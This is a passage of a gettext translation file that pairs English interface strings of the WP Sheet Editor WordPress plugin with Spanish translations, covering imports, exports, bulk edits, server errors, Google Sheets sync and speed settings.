#: wp-sheet-editor/dev/inc/api/bootstrap.php:837 msgid "Enter multiple terms separated by %s" msgstr "Ingresa varios términos separados por %s" #: wp-sheet-editor/dev/inc/api/bootstrap.php:866 msgid "Post type" msgstr "Post type" #: wp-sheet-editor/dev/inc/api/bootstrap.php:890 msgid "Password" msgstr "Contraseña" #: wp-sheet-editor/dev/inc/api/editor.php:207 msgid "" "\n" "(You can remove these help messages in the advanced settings)" msgstr "" "\n" "(Puedes remover estos mensajes de ayuda en los ajustes avanzados)" #: wp-sheet-editor/dev/inc/api/editor.php:226 msgid "Pro" msgstr "Pro" #: wp-sheet-editor/dev/inc/api/editor.php:227 msgid "Enable" msgstr "Habilitar" #: wp-sheet-editor/dev/inc/api/editor.php:283 msgid "Please select at least one column to import" msgstr "Por favor, selecciona al menos una columna a importar" #: wp-sheet-editor/dev/inc/api/editor.php:284 msgid "Show column key" msgstr "Mostrar la clave de la columna" #: wp-sheet-editor/dev/inc/api/editor.php:285 msgid "" "This is the dynamic tag for this column. You can copy this and use it in the " "bulk edit tool" msgstr "" "Esta es una etiqueta dinámica para esta columna. Puedes copiar esto y usarlo " "en la herramienta de edición masiva" #: wp-sheet-editor/dev/inc/api/editor.php:286 msgid "Click here to show all columns again" msgstr "Haz clic aquí para ver todas las columnas otra vez" #: wp-sheet-editor/dev/inc/api/editor.php:287 msgid "" "The last import batch failed due to a server error, it's more likely that " "the server got overloaded.
                  1- You can try importing fewer rows per batch (i.e. import 2 rows " "every few seconds).
                  2- You can start a new import, sometimes trying again " "works (use the \"advanced settings\" in the step 1 of the import to start " "from a specific row).
                  3- You can increase the php memory following this tutorial
                  4- If the problem happens " "after trying with 1 row per batch, you can contact us and we will make it work for you" msgstr "" "El último lote de importación falló debido a un error del servidor, es más " "probable que el servidor se haya sobrecargado.
                  1- Puedes intentar importar menos filas por lote (es decir, " "importar 2 filas cada pocos segundos).
                  2- Puedes iniciar una nueva " "importación, a veces intentarlo de nuevo funciona (usa los \"Ajustes " "avanzados\" en el paso 1 de la importación para empezar desde una fila " "específica).
                  3- Puedes incrementar la memoria php siguiendo este tutorial
                  4- Si el problema ocurre " "después de intentarlo con 1 fila por lote, puedes contactar con nosotros y te ayudaremos." #: wp-sheet-editor/dev/inc/api/editor.php:288 msgid "" "Your server was not able to process this batch. Do you want to try again? " "You can retry 3 times, If 3 attempts fail we will stop the import completely." msgstr "" "Tu servidor no fue capaz de procesar este lote. ¿Quieres intentarlo de " "nuevo? Puedes volver a intentarlo 3 veces, y si los 3 intentos fallan, " "pararemos la importación completamente." #: wp-sheet-editor/dev/inc/api/editor.php:289 msgid "" "Please correct the error in the file and start a new import. You can use the " "\"Advanced options\" in the step 1 of the import to start from this specific " "row." msgstr "" "Por favor, corrige el error en el archivo e inicia una nueva importación. " "Puedes usar las \"Opciones avanzadas\" en el paso 1 de la importación para " "empezar desde esta fila específica." #: wp-sheet-editor/dev/inc/api/editor.php:290 msgid "

                  The import has finished

                  " msgstr "

                  La importación ha terminado

                  " #: wp-sheet-editor/dev/inc/api/editor.php:291 msgid "" "

                  The export has been scheduled. You can close this popup. View scheduled exports." msgstr "" "

                  La exportación se ha programado. Puedes cerrar esta ventana emergente. Ver las " "exportaciones programadas.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:292 msgid "" "

                  The import has been scheduled. You can close this popup. View scheduled imports." msgstr "" "

                  La importación ha sido programada. Puedes cerrar esta ventana emergente. " "Ver las " "importaciones programadas.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:293 msgid "" "

                  The changes have been scheduled. You can close this popup. View scheduled changes." "

                  " msgstr "" "

                  Los cambios han sido programados. Puedes cerrar esta ventana emergente. " "Ver los " "cambios programados.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:294 msgid "" "

                  The bulk edit has been scheduled. You can close this popup. View scheduled bulk " "edits.

                  " msgstr "" "

                  El cambio masivo ha sido programado. Puedes cerrar esta ventana " "emergente. Ver los cambios masivos " "programados.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:295 msgid "Modified cells" msgstr "Celdas modificadas" #: wp-sheet-editor/dev/inc/api/editor.php:296 msgid "The export has been edited successfully" msgstr "La exportación ha sido editada con éxito" #: wp-sheet-editor/dev/inc/api/editor.php:297 msgid "" "The list of Google Sheets files has been refreshed. Please search your file " "again." msgstr "" "La lista de archivos de Google Sheets se ha actualizado. Vuelve a buscar tu " "archivo." #: wp-sheet-editor/dev/inc/api/editor.php:298 msgid "" "This will disconnect your Google account from WP Sheet Editor which will " "stop all sync jobs configured with that Google account across all your " "WordPress sites. But other users can connect their own Google account, so " "other users' sync jobs linked to their own Google accounts will remain " "unaffected. Are you sure you want to disconnect your Google account " "completely?" msgstr "" "Esto desconectará tu cuenta de Google de WP Sheet Editor, lo que detendrá " "todas las tareas de sincronización configuradas con esa cuenta de Google en " "todos tus sitios de WordPress. Sin embargo, otros usuarios pueden conectar " "su propia cuenta de Google, por lo que las tareas de sincronización de otros " "usuarios vinculadas a sus propias cuentas de Google no se verán afectadas. " "¿Estás seguro de que quieres desconectar tu cuenta de Google por completo?" #: wp-sheet-editor/dev/inc/api/editor.php:299 msgid "" "Disconnecting the current site from your Google account and the WP Sheet " "Editor API will pause the sync jobs you created on this site. However, sync " "jobs created by other users on this site, which sync to their own Google " "accounts, will remain active. Your other WordPress sites will continue to " "function normally. Do you want to continue?" msgstr "" "Si desconectas el sitio actual de tu cuenta de Google y de la API de WP " "Sheet Editor, se detendrán las tareas de sincronización que hayas creado en " "este sitio. Sin embargo, las tareas de sincronización creadas por otros " "usuarios en este sitio, que se sincronizan con sus propias cuentas de " "Google, permanecerán activas. Tus otros sitios de WordPress seguirán " "funcionando con normalidad. ¿Quieres continuar?" #: wp-sheet-editor/dev/inc/api/editor.php:300 msgid "The bulk edit has been edited successfully" msgstr "El cambio masivo ha sido editado con éxito" #: wp-sheet-editor/dev/inc/api/editor.php:301 msgid "The import has been edited successfully" msgstr "La importación ha sido editada con éxito" #: wp-sheet-editor/dev/inc/api/editor.php:302 msgid "Name of this export" msgstr "Nombre de esta exportación" #: wp-sheet-editor/dev/inc/api/editor.php:303 msgid "" "Are you sure you want to delete this scheduled job and all its related files?" msgstr "" "¿Estás seguro de que quieres eliminar esta tarea programada y todos sus " "archivos relacionados?" #: wp-sheet-editor/dev/inc/api/editor.php:304 msgid "Are you sure you want to delete this columns view?" msgstr "¿Estás seguro de que quieres eliminar esta vista de columnas?" #: wp-sheet-editor/dev/inc/api/editor.php:306 msgid "

                  The process has finished

                  " msgstr "

                  El proceso ha terminado

                  " #: wp-sheet-editor/dev/inc/api/editor.php:307 msgid "The selected product does not have variations" msgstr "El producto seleccionado no tiene variaciones" #: wp-sheet-editor/dev/inc/api/editor.php:308 msgid "empty" msgstr "vacío" #: wp-sheet-editor/dev/inc/api/editor.php:309 msgid "This will save you {clicks_count} clicks :)" msgstr "Esto te ahorrará {clicks_count} clics :)" #: wp-sheet-editor/dev/inc/api/editor.php:310 msgid "" "We found similar columns. Do you want to apply the same action to them? " "{columns}" msgstr "" "Encontramos columnas similares. ¿Quieres aplicarles la misma acción? " "{columns}" #: wp-sheet-editor/dev/inc/api/editor.php:311 msgid "" "This column is only for variation rows, parent products don't use this field" msgstr "" "Esta columna es sólo para las filas de variaciones, los productos padre no " "usan este campo" #: wp-sheet-editor/dev/inc/api/editor.php:312 msgid "Editing the field: {field_label}" msgstr "Editando el campo: {field_label}" #: wp-sheet-editor/dev/inc/api/editor.php:313 msgid "Column not found. Try with another search criteria." msgstr "Columna no encontrada. Intenta con otro criterio de búsqueda." #: wp-sheet-editor/dev/inc/api/editor.php:314 msgid "" "This column is for parent products only, variations don't use this field" msgstr "" "Esta columna es sólo para los productos padre, las variaciones no usan este " "campo" #: wp-sheet-editor/dev/inc/api/editor.php:315 msgid "Paste using keyboard: Ctrl+V" msgstr "Pegar con el teclado: Ctrl+V" #: wp-sheet-editor/dev/inc/api/editor.php:316 msgid "Realign cells" msgstr "Realinear celdas" #: wp-sheet-editor/dev/inc/api/editor.php:317 msgid "Remove all filters" msgstr "Eliminar todos los filtros" #: wp-sheet-editor/dev/inc/api/editor.php:318 msgid "Resize columns based on the values" msgstr "Redimensionar las columnas en base a los valores" #: wp-sheet-editor/dev/inc/api/editor.php:319 msgid "Delete row" msgstr "Borrar fila" #: wp-sheet-editor/dev/inc/api/editor.php:320 msgid "" "Do you want to delete {rows_number} rows from the database completely? If " "you want to restore them later, you should make a backup before." msgstr "" "Quieres borrar {rows_number} filas de la base de datos completamente? Si " "quieres restaurarlas después, deberías hacer una copia de seguridad antes." #: wp-sheet-editor/dev/inc/api/editor.php:321 msgid "Duplicate row" msgstr "Duplicar fila" #: wp-sheet-editor/dev/inc/api/editor.php:322 msgid "Hide column" msgstr "Ocultar columna" #: wp-sheet-editor/dev/inc/api/editor.php:323 msgid "Bulk edit column" msgstr "Editar esta columna masivamente" #: wp-sheet-editor/dev/inc/api/editor.php:325 msgid "Copy variations from this product" msgstr "Copiar variaciones de este producto" #: wp-sheet-editor/dev/inc/api/editor.php:327 msgid "Delete field" msgstr "Eliminar campo" #: wp-sheet-editor/dev/inc/api/editor.php:328 msgid "" "We will delete this meta field from the database and you will lose the " "values saved in this field on all the rows. You should make a backup to be " "able to restore in the future. Do you want to continue with the deletion?" msgstr "" "Borraremos este campo meta de la base de datos y perderás los valores " "guardados en este campo en todas las filas. Deberías hacer una copia de " "seguridad para poder restaurarla en el futuro. ¿Quieres continuar con la " "eliminación?" #: wp-sheet-editor/dev/inc/api/editor.php:329 msgid "Delete serialized field" msgstr "Eliminar campo serializado" #: wp-sheet-editor/dev/inc/api/editor.php:330 msgid "" "We will delete this serialized field, which includes all its subfields, from " "the database and you will lose the values saved in this field on all the " "rows. You should make a backup to be able to restore in the future. Do you " "want to continue with the deletion?" msgstr "" "Borraremos este campo serializado, incluyendo todos sus subcampos, de la " "base de datos y perderás los valores guardados en este campo en todas las " "filas. Deberías hacer una copia de seguridad para poder restaurar en el " "futuro. ¿Quieres continuar con la eliminación?" #: wp-sheet-editor/dev/inc/api/editor.php:331 msgid "Edit meta key" msgstr "Editar la meta clave" #: wp-sheet-editor/dev/inc/api/editor.php:332 msgid "Error: The new value is empty or is equal to the old value" msgstr "Error: El nuevo valor está vacío o es igual al valor antiguo" #: wp-sheet-editor/dev/inc/api/editor.php:333 msgid "Showing rows from your last session." msgstr "Mostrando las filas de la última sesión." #: wp-sheet-editor/dev/inc/api/editor.php:334 msgid "Export column" msgstr "Exportar columna" #: wp-sheet-editor/dev/inc/api/editor.php:335 msgid "" "

                  The bulk edit was not applied completely. The process was canceled due to " "an error.

                  You can close this window.

                  " msgstr "" "

                  El cambio masivo no se aplicó completamente. El proceso fue cancelado " "debido a un error.

                  Puedes cerrar esta ventana.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:336 msgid "" "

                  The process did not finish. The process was canceled due to an error.

                  You can close this window.

                  " msgstr "" "

                  " "Puedes cerrar esta ventana.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:337 msgid "" "Your server was not able to process this batch. Do you want to try again?" msgstr "" "El servidor no ha podido procesar este lote. ¿Quieres intentarlo de nuevo?" #: wp-sheet-editor/dev/inc/api/editor.php:338 msgid "The bulk edit was executed successfully. You can close this window" msgstr "El cambio masivo fue ejecutado con éxito. Puedes cerrar esta ventana." #: wp-sheet-editor/dev/inc/api/editor.php:340 msgid "" "ENABLE COLUMNS. These columns require a page reload: {columns}. Do you want " "to reload now? We will reload automatically" msgstr "" "HABILITAR COLUMNAS. Estas columnas requieren una recarga de la página: " "{columns}. ¿Quieres recargar ahora? Recargaremos automáticamente." #: wp-sheet-editor/dev/inc/api/editor.php:341 msgid "" "Column removed. Go to \"settings > hide/display columns\" to enable it again" msgstr "" "Columna removida. Ve a \"Ajustes > Ocultar/mostrar columnas\" para " "habilitarla de nuevo" #: wp-sheet-editor/dev/inc/api/editor.php:342 msgid "" "You have modified posts. Please save the changes because we will refresh the " "spreadsheet." msgstr "" "Has modificado filas. Por favor, guarda los cambios porque actualizaremos la " "hoja de cálculo." #: wp-sheet-editor/dev/inc/api/editor.php:343 msgid "" "You have modified rows. Please save the changes before removing columns from " "the spreadsheet." msgstr "" "Has modificado filas. Por favor, guarda los cambios antes de eliminar " "columnas de la hoja de cálculo." #: wp-sheet-editor/dev/inc/api/editor.php:344 msgid "" "You have modified posts. Please save the changes because we will refresh the " "spreadsheet. Do you want to refresh now?" msgstr "" "Has modificado filas. Por favor, guarda los cambios porque actualizaremos la " "hoja de cálculo. ¿Quieres recargar ahora?" #: wp-sheet-editor/dev/inc/api/editor.php:345 msgid "" "Some rows were modified in the background. Please save the changes and " "reload the spreadsheet to see the changes" msgstr "" "Algunas filas fueron modificadas en segundo plano. Por favor, guarda los " "cambios y recarga la hoja de cálculo para ver los cambios." #: wp-sheet-editor/dev/inc/api/editor.php:346 msgid "" "Some rows were modified in the spreadsheet. Please save the changes before " "using this feature." msgstr "" "Algunas filas fueron modificadas en el fondo. Por favor, guarda los cambios " "antes de usar esta función." #: wp-sheet-editor/dev/inc/api/editor.php:347 msgid "" "We didn't find rows to update from the search query. Please try another " "search query." msgstr "" "No encontramos filas a actualizar a partir de la consulta de búsqueda. Por " "favor, intenta otra búsqueda." #: wp-sheet-editor/dev/inc/api/editor.php:348 msgid "We didn't find rows for the export. Please try another search query." msgstr "No encontramos filas a exportar. Por favor, intenta con otra búsqueda." #: wp-sheet-editor/dev/inc/api/editor.php:349 msgid "You can find all the settings here, like columns visibility, etc." msgstr "" "Puedes encontrar todos los ajustes aquí, como la visibilidad de las " "columnas, etc." #: wp-sheet-editor/dev/inc/api/editor.php:350 msgid "Oops, nothing found" msgstr "Oops, no encontramos nada." #: wp-sheet-editor/dev/inc/api/editor.php:352 msgid "Upload image" msgstr "Subir imagen" #: wp-sheet-editor/dev/inc/api/editor.php:353 msgid "View Gallery" msgstr "Ver Galería" #: wp-sheet-editor/dev/inc/api/editor.php:354 msgid "No options available" msgstr "No hay opciones disponibles" #: wp-sheet-editor/dev/inc/api/editor.php:355 #: wp-sheet-editor/dev/inc/api/helpers.php:1341 msgid "Items loaded in the spreadsheet" msgstr "Elementos cargados en la hoja de cálculo" #: wp-sheet-editor/dev/inc/api/editor.php:356 msgid "New rows added" msgstr "Se añadieron nuevas filas" #: wp-sheet-editor/dev/inc/api/editor.php:357 msgid "" "The bulk edit has been executed. Do you want to reload the page to see the " "changes?" msgstr "" "El cambio masivo ha sido ejecutado. ¿Quieres recargar la página para ver los " "cambios?" #: wp-sheet-editor/dev/inc/api/editor.php:358 msgid "" "

                  The changes were not saved completely. The process was canceled due to an " "error .

                  You can close this popup.

                  " msgstr "" "

                  Los cambios no se guardaron completamente. El proceso fue cancelado " "debido a un error .

                  Puedes cerrar esta ventana emergente.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:359 msgid "" "

                  The automatic saving failed. Your changes were not saved completely due " "to an error. You can try again later, if the error persists contact our " "support team and keep this tab opened

                  " msgstr "" "

                  El guardado automático falló. Tus cambios no se guardaron completamente " "debido a un error. Puedes intentarlo de nuevo más tarde. Si el error " "persiste, contacta a nuestro equipo de soporte y mantén esta pestaña abierta." "

                  " #: wp-sheet-editor/dev/inc/api/editor.php:360 msgid "{updated} attributes have been merged." msgstr "Se combinaron {updated} atributos." #: wp-sheet-editor/dev/inc/api/editor.php:361 msgid "{updated} items saved of {total} items that need saving." msgstr "" "Se han guardado {updated} elementos de {total} elementos que necesitan " "guardarse." #: wp-sheet-editor/dev/inc/api/editor.php:362 msgid "" "Scanning variations to be created. {updated} products of {total} products " "have been processed." msgstr "" "Escaneando variaciones a crear. Se han procesado {updated} productos de " "{total} productos." #: wp-sheet-editor/dev/inc/api/editor.php:363 msgid "{deleted} duplicates have been removed." msgstr "Se eliminaron {deleted} duplicados." #: wp-sheet-editor/dev/inc/api/editor.php:364 msgid "All items have been saved." msgstr "Se han guardado todos los elementos." #: wp-sheet-editor/dev/inc/api/editor.php:365 msgid "" "Please check if you have unsaved changes. If you have, please save them or " "they will be dismissed." msgstr "" "Por favor, comprueba si tienes cambios no guardados. Si es así, por favor, " "guárdalos o serán descartados." #: wp-sheet-editor/dev/inc/api/editor.php:366 msgid "Everything is already saved." msgstr "Ya está todo guardado." #: wp-sheet-editor/dev/inc/api/editor.php:367 msgid "" "The server did not accept our request. Bad request, please try refresh the " "page and try again." msgstr "" "El servidor no aceptó nuestra petición. Mala solicitud. Por favor, intenta " "actualizar la página e inténtalo de nuevo." #: wp-sheet-editor/dev/inc/api/editor.php:368 msgid "" "The server didn't accept our request. You don't have permission to do this " "action. Please log in again." msgstr "" "El servidor no aceptó nuestra petición. No tienes permisos para realizar " "esta acción. Por favor, inicia sesión de nuevo." #: wp-sheet-editor/dev/inc/api/editor.php:369 msgid "The server is not available or overloaded. Please try again later." msgstr "" "El servidor no está disponible o está sobrecargado. Por favor, inténtalo de " "nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:370 msgid "The server is not available or overloaded. Do you want to try again?" msgstr "" "El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de " "nuevo?" #: wp-sheet-editor/dev/inc/api/editor.php:371 msgid "" "The auto saving failed: the server is not available or overloaded. Do you " "want to try again?" msgstr "" "El guardado automático falló: El servidor no está disponible o está " "sobrecargado. ¿Quieres intentarlo de nuevo?" #: wp-sheet-editor/dev/inc/api/editor.php:372 msgid "" "The server wasn't able to process our request. Server error. Please try " "again later." msgstr "" "El servidor no pudo procesar nuestra petición. Error del servidor. Por " "favor, inténtalo de nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:373 msgid "" "The server has exceeded its allocated resources and is not able to process " "our request." msgstr "" "El servidor ha excedido sus recursos asignados y no puede procesar nuestra " "solicitud." #: wp-sheet-editor/dev/inc/api/editor.php:374 msgid "" "The server is busy and took too long to respond to our request. Please try " "again later." msgstr "" "El servidor está ocupado y tardó demasiado en responder a nuestra petición. " "Por favor, inténtalo de nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:375 msgid "The server could not process our request. Please try again later." msgstr "" "El servidor no pudo procesar nuestra solicitud. Por favor, inténtalo de " "nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:376 msgid "Change background color" msgstr "Cambiar el color de fondo" #: wp-sheet-editor/dev/inc/api/editor.php:377 msgid "" "

                  Missing column?

                  " msgstr "" "

                  ¿Falta una columna?

                  o " #: wp-sheet-editor/dev/inc/api/editor.php:383 msgid "" "Do we deserve a 5-star review? Yes, you deserve it . - . " "No" msgstr "" "¿Merecemos 5 estrellas? Sí, lo merecen. . - . No" #: wp-sheet-editor/dev/inc/api/helpers.php:444 #: wp-sheet-editor/dev/inc/teasers/terms.php:54 msgid "(Pro extension)" msgstr "(Extensión Pro)" #: wp-sheet-editor/dev/inc/api/helpers.php:448 #: wp-sheet-editor/dev/inc/teasers/coupons.php:35 #: wp-sheet-editor/dev/inc/teasers/terms.php:54 #: wp-sheet-editor/dev/inc/teasers/users.php:34 msgid "(Install free extension)" msgstr "(Instalar extensión gratuita)" #: wp-sheet-editor/dev/inc/api/helpers.php:551 msgid "The item could not be saved. Please try again in other moment." msgstr "" "El elemento no se ha podido guardar. Por favor, inténtalo de nuevo en otro " "momento." #: wp-sheet-editor/dev/inc/api/helpers.php:1026 msgid "User not allowed to edit rows" msgstr "Usuario no autorizado para editar las filas" #: wp-sheet-editor/dev/inc/api/helpers.php:1308 msgid "No more posts available." msgstr "No hay más filas disponibles." #: wp-sheet-editor/dev/inc/api/helpers.php:1310 msgid "" "No posts found matching your search parameters. You can remove the active " "filters or try with a different search." msgstr "" "No se han encontrado filas que coincidan con los parámetros de búsqueda. " "Puedes eliminar los filtros activos o intentarlo con una búsqueda diferente." #: wp-sheet-editor/dev/inc/api/helpers.php:1312 msgid "No posts available for the current page." msgstr "No hay filas disponibles para la página actual." #: wp-sheet-editor/dev/inc/api/logger.php:49 msgid "The log file does not exist." msgstr "El archivo de registro no existe." #: wp-sheet-editor/dev/inc/integrations/elementor.php:60 msgid "Elementor" msgstr "Elementor" #: wp-sheet-editor/dev/inc/integrations/notifier.php:38 msgid "Disable the popup that asks you to install important extensions?" msgstr "" "¿Deshabilitar la ventana emergente que te pide instalar extensiones " "importantes?" #: wp-sheet-editor/dev/inc/integrations/notifier.php:39 msgid "" "We show a popup asking you to install free extensions when we detect that " "you are using a third-party plugin that requires special compatibility, " "which helps us prevent errors." msgstr "" "Mostramos una ventana emergente pidiéndote que instales extensiones " "gratuitas cuando detectamos que estás utilizando un plugin de terceros que " "requiere una compatibilidad especial, lo que nos ayuda a evitar errores." #: wp-sheet-editor/dev/inc/integrations/notifier.php:201 msgid "Integrations" msgstr "Integraciones" #: wp-sheet-editor/dev/inc/integrations/notifier.php:241 msgid "Important extensions" msgstr "Extensiones importantes" #: wp-sheet-editor/dev/inc/integrations/notifier.php:242 msgid "" "Some of your plugins require special compatibility, and we have created " "these extensions that you can download for free if you purchased our plugin." msgstr "" "Algunos plugins requieren compatibilidad especial y hemos creado estas " "extensiones que puedes descargar gratuitamente si compraste nuestro plugin." #: wp-sheet-editor/dev/inc/integrations/notifier.php:243 msgid "" "It's important that you install them to prevent errors, but you can do it " "later if you want. Find this popup in the toolbar > extensions > " "Integrations." msgstr "" "Es importante que las instales para evitar errores, pero puedes hacerlo más " "tarde si quieres. Encuentra esta ventana emergente en la barra de " "herramientas > extensiones > Integraciones." #: wp-sheet-editor/dev/inc/integrations/notifier.php:244 msgid "" "If you click on the \"download\" button, we will download the file from the " "official website: wpsheeteditor.com." msgstr "" "Si haces clic en el botón \"descargar\", descargaremos el archivo desde el " "sitio web oficial: wpsheeteditor.com." #: wp-sheet-editor/dev/inc/integrations/notifier.php:251 #: wp-sheet-editor/dev/inc/integrations/notifier.php:274 msgid "Extension name" msgstr "Nombre de la extensión" #: wp-sheet-editor/dev/inc/integrations/notifier.php:252 #: wp-sheet-editor/dev/inc/integrations/notifier.php:275 #: wp-sheet-editor/dev/inc/teasers/post-types.php:96 msgid "Description" msgstr "Descripción" #: wp-sheet-editor/dev/inc/integrations/notifier.php:253 #: wp-sheet-editor/dev/inc/integrations/notifier.php:276 msgid "Action" msgstr "Acción" #: wp-sheet-editor/dev/inc/integrations/notifier.php:261 #: wp-sheet-editor/dev/inc/integrations/notifier.php:284 msgid "Already downloaded" msgstr "Descargada" #: wp-sheet-editor/dev/inc/integrations/notifier.php:261 msgid "Download" msgstr "Descargar" #: wp-sheet-editor/dev/inc/integrations/notifier.php:270 msgid "Extensions that require update" msgstr "Extensiones que requieren actualización" #: wp-sheet-editor/dev/inc/integrations/notifier.php:284 msgid "Download update" msgstr "Actualización de descarga" #: wp-sheet-editor/dev/inc/integrations/notifier.php:290 msgid "" "When you finish downloading the plugins, you need to go to wp-admin > " "plugins > add new and install them." msgstr "" "Cuando termines de descargar los plugins, tienes que ir a wp-admin > plugins " "> añadir nuevo e instalarlos." #: wp-sheet-editor/dev/inc/integrations/notifier.php:291 #, fuzzy #| msgid "Need help?" msgid "Do you need help?." msgstr "¿Necesitas ayuda?" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:33 msgid "WPBakery Page Builder" msgstr "WPBakery Page Builder" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:46 msgid "Live" msgstr "En vivo" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:52 msgid "Backend" msgstr "Backend" #: wp-sheet-editor/dev/inc/options-init.php:19 msgid "Speed and performance" msgstr "Velocidad y rendimiento" #: wp-sheet-editor/dev/inc/options-init.php:25 msgid "Load rows faster: Number of rows to load per batch" msgstr "Cargar las filas más rápido: Número de filas a cargar por lote" #: wp-sheet-editor/dev/inc/options-init.php:26 msgid "" "We use pagination to use few server resources. We load 20 rows first and " "load 20 more every time you scroll down. You can increase this number to " "load more rows per page. CAREFUL. Loading more than 200 rows per page might " "overload your server. If we detect that the server is overloaded we will " "automatically reset to 10 rows per page." msgstr "" "Usamos la paginación para usar pocos recursos del servidor. Cargamos 20 " "filas primero y 20 más cada vez que se desplaza hacia abajo. Puedes aumentar " "este número para cargar más filas por página. CUIDADO. Cargar más de 200 " "filas por página podría sobrecargar tu servidor. Si detectamos que el " "servidor está sobrecargado, automáticamente se restablecerá a 10 filas por " "página." #: wp-sheet-editor/dev/inc/options-init.php:33 msgid "Export rows faster: Number of rows to export per batch" msgstr "Exportar filas más rápido: Número de filas a exportar por lote" #: wp-sheet-editor/dev/inc/options-init.php:34 msgid "" "Here you can control the batch size for the exports. If you use a high " "number the exports will finish faster. You can use a high number safely " "because we automatically fall back to a lower number if the server is " "overloaded during one export. For example, export 100 rows per batch and " "complete the exports super fast and if we detect slowness in one export we " "will automatically restart the export with 10 rows per batch" msgstr "" "Aquí puedes controlar el tamaño del lote para las exportaciones. Si usas un " "número alto, las exportaciones terminarán más rápido. Puedes usar un número " "alto de forma segura porque automáticamente volvemos a un número más bajo si " "el servidor se sobrecarga durante una exportación. Por ejemplo, exportar 100 " "filas por lote y completar las exportaciones súper rápido y si detectamos " "lentitud en una exportación reiniciaremos automáticamente la exportación con " "10 filas por lote" #: wp-sheet-editor/dev/inc/options-init.php:41 msgid "Save changes faster: Number of rows to save per batch" msgstr "Guarda los cambios más rápido: Número de filas a guardar por lote" #: wp-sheet-editor/dev/inc/options-init.php:42 msgid "" "When you edit a large amount of posts in the spreadsheet editor we can't " "save all the changes at once, so we do it in batches. The recommended value " "is 4 , which means we will process only 4 posts at once. You can adjust it " "as it works best for you. If you get errors when saving you should lower the " "number" msgstr "" "Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, " "no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. " "El valor recomendado es 4 , lo que significa que procesaremos sólo 4 filas a " "la vez. Puedes ajustarlo como mejor te convenga. Si se producen errores al " "guardar, deberías reducir el número" #: wp-sheet-editor/dev/inc/options-init.php:49 msgid "Delete posts faster: Number of posts to delete per batch" msgstr "Borrar filas más rápido: Número de filas a borrar por lote" #: wp-sheet-editor/dev/inc/options-init.php:50 msgid "" "When you delete posts, pages, events, products, orders, coupons, and other " "post types, you can select how many will be deleted on every batch. Use a " "higher number to finish faster. Default is 500" msgstr "" "Cuando borras entradas, páginas, eventos, productos, pedidos, cupones, y " "otros post types, puedes seleccionar cuántas filas borraremos por lote. Usa " "un número mayor para finalizar más rápido, pero pudiera saturar tu servidor. " "Predeterminado: 500" #: wp-sheet-editor/dev/inc/options-init.php:58 msgid "Increase Productivity" msgstr "Aumentar la productividad" #: wp-sheet-editor/dev/inc/options-init.php:63 msgid "Use pagination in the spreadsheet?" msgstr "¿Usar la paginación en la hoja de cálculo?" #: wp-sheet-editor/dev/inc/options-init.php:64 msgid "" "By default we use an infinite list of rows and we load more rows every time " "you scroll down. You can activate this option to display pagination links " "and disable the infinite list." msgstr "" "Por defecto, usamos una lista infinita de filas y cargamos más filas cada " "vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar " "los enlaces de paginación y desactivar la lista infinita." #: wp-sheet-editor/dev/inc/options-init.php:70 msgid "Disable the automatic loading of rows?" msgstr "¿Desactivar la carga automática de filas?" #: wp-sheet-editor/dev/inc/options-init.php:71 msgid "" "When you open the spreadsheet, we load the rows automatically so you can " "start editing right away. Activate this option if you want to search rows " "and load manually." msgstr "" "Cuando abres la hoja de cálculo, cargamos las filas automáticamente para que " "puedas empezar a editar de inmediato. Habilita esta opción si quieres buscar " "filas y cargarlas manualmente." #: wp-sheet-editor/dev/inc/options-init.php:77 msgid "Disable the full screen mode?" msgstr "¿Desactivar el modo de pantalla completa?" #: wp-sheet-editor/dev/inc/options-init.php:78 msgid "" "When the sheet loads, we open it in full screen and you have the option to " "exit the full screen mode. Activate this option and we wont open the sheet " "in full screen." msgstr "" "Cuando se carga la hoja de cálculo, la abrimos en pantalla completa y tienes " "la opción de salir del modo de pantalla completa. Habilita esta opción y no " "abriremos la hoja en pantalla completa." #: wp-sheet-editor/dev/inc/options-init.php:84 msgid "Load more items on scroll?" msgstr "¿Cargar más filas al hacer scroll?" #: wp-sheet-editor/dev/inc/options-init.php:85 msgid "" "When this is enabled more items will be loaded to the bottom of the " "spreadsheet when you reach the end of the page. You can enable / disable in " "the spreadsheet too." msgstr "" "Cuando esta opción está habilitada, se cargarán más filas en la parte " "inferior de la hoja de cálculo cuando llegues al final de la página. También " "puedes habilitar/deshabilitar en la hoja de cálculo." #: wp-sheet-editor/dev/inc/options-init.php:92 msgid "Freeze first columns at the left side?" msgstr "¿Congelar las columnas iniciales del lado izquierdo?" #: wp-sheet-editor/dev/inc/options-init.php:93 msgid "" "Enter a number and those columns will be frozen while scrolling " "horizontally. You can right click on any column to freeze or unfreeze it. " "For example, enter 2 to freeze the first 2 columns" msgstr "" "Ingresa un número y esas columnas se fijarán al hacer scroll " "horizontalmente. Puedes hacer clic derecho en cualquier columna para fijar y " "descongelar. Por ejemplo, ingresa 2 para fijar las primeras 2 columnas." #: wp-sheet-editor/dev/inc/options-init.php:99 msgid "Enable auto saving?" msgstr "¿Habilitar el guardado automático?" #: wp-sheet-editor/dev/inc/options-init.php:100 msgid "" "Turn this on and the spreadsheet will save automatically all the changes " "made on the cells every 2 minutes. Careful, this might cause issues if the " "changes are saved prematurely before you finish editing all the required " "columns." msgstr "" "Habilita esto y la hoja de cálculo guardará los cambios hechos en las celdas " "cada 2 minutos. Cuidado: Esto puede causar problemas si los cambios se " "guardan prematuramente antes que termines de editar todas las columnas " "requeridas." #: wp-sheet-editor/dev/inc/options-init.php:116 msgid "Default sort order" msgstr "Orden por defecto" #: wp-sheet-editor/dev/inc/options-init.php:117 msgid "" "We'll sort the rows in the spreadsheet by this 